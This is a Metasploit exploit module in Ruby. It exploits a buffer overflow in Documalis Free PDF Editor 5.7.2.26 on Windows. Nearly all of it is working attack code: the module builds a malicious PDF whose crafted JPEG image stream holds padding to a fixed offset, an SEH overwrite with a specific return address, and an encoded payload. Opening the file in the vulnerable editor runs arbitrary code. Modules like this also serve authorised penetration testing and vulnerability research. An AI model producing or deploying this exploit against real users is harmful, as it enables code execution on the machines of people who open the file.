This Metasploit module exploits a buffer overflow vulnerability in Documalis Free PDF Editor.
1357b84468b930c817c8e8dbb04ca998##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::PDF
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Documalis Free PDF Editor',
'Description' => %q{Documalis Free PDF Editor is prone to a security vulnerability when open PDF files.When the application is used to open a specially crafted PDF file, a buffer overflow occurs allowing arbitrary code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'metacom', # Vulnerability discovery and PoC
'<metacom27[at]gmail.com>', # Metasploit module
],
'References' =>
[
['EDB', ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process', # none/process/thread/seh
},
'Platform' => 'win',
'Payload' =>
{
'Space' => 2000,
'DisableNops' => true
},
'Targets' =>
[
['<Documalis Free PDF Editor v.5.7.2.26 / Win 7, Win 10>',
{
'Ret' => 0x0040160D, # pop eax # pop ebx # ret - PDFEditor.exe
'Offset' => 433
}
]
],
'Privileged' => false,
'DisclosureDate' => 'May 22 2020',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf']),
])
end
def exploit
file_create(make_pdf)
end
def jpeg
buffer = "\xFF\xD8\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\x80\x00\x00"
buffer << "\x00\x02\xFF\xDB\x00\x84\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02"
buffer << "\x02\x03\x02\x02\x02\x03\x04\x03\x03\x03\x03\x04\x05\x04\x04\x04"
buffer << "\x04\x04\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x07\x08\x08\x08"
buffer << "\x07\x05\x09\x0A\x0A\x0A\x0A\x09\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
buffer << "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01\x03\x02\x02\x03\x03\x03\x07\x05"
buffer << "\x05\x07\x0D\x0A\x09\x0A\x0D\x0F\x0D\x0D\x0D\x0D\x0F\x0F\x0C\x0C"
buffer << "\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C\x0C\x0C\x0C\x0F\x0C\x0E\x0E\x0E"
buffer << "\x0E\x0E\x0C\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11"
buffer << "\x11\x11\x11\x11\x11\x11\x11\x11\xFF\xC0\x00\x14\x08\x00\x32\x00"
buffer << "\xE6\x04\x01\x11\x00\x02\x11\x01\x03\x11\x01\x04\x11\x00\xFF\xC4"
buffer << "\x01\xA2\x00\x00\x00\x07\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00"
buffer << "\x00\x00\x00\x04\x05\x03\x02\x06\x01\x00\x07\x08\x09\x0A\x0B\x01"
buffer << "\x54\x02\x02\x03\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00"
buffer << "\x01\x00\x02\x03\x04\x05\x06\x07"
buffer << rand_text(target['Offset']) # junk
buffer << generate_seh_record(target.ret)
buffer << payload.encoded
buffer << rand_text(2388 - payload.encoded.length)
buffer
end
def make_pdf
@pdf << header
add_object(1, "<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>")
add_object(2, "<</Type/Outlines>>")
add_object(3, "<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>")
add_object(4, "[/PDF/Text/ImageC]")
add_object(5, "<</Type/Page/Parent 3 0 R/Contents 6 0 R>>")
stream_1 = "stream" << eol
stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol
stream_1 << "endstream" << eol
add_object(6, "<</Length 91>>#{stream_1}")
stream = "<<" << eol
stream << "/Width 230" << eol
stream << "/BitsPerComponent 8" << eol
stream << "/Name /X" << eol
stream << "/Height 50" << eol
stream << "/Intent /RelativeColorimetric" << eol
stream << "/Subtype /Image" << eol
stream << "/Filter /DCTDecode" << eol
stream << "/Length #{jpeg.length}" << eol
stream << "/ColorSpace /DeviceCMYK" << eol
stream << "/Type /XObject" << eol
stream << ">>"
stream << "stream" << eol
stream << jpeg << eol
stream << "endstream" << eol
add_object(7, stream)
finish_pdf
end
end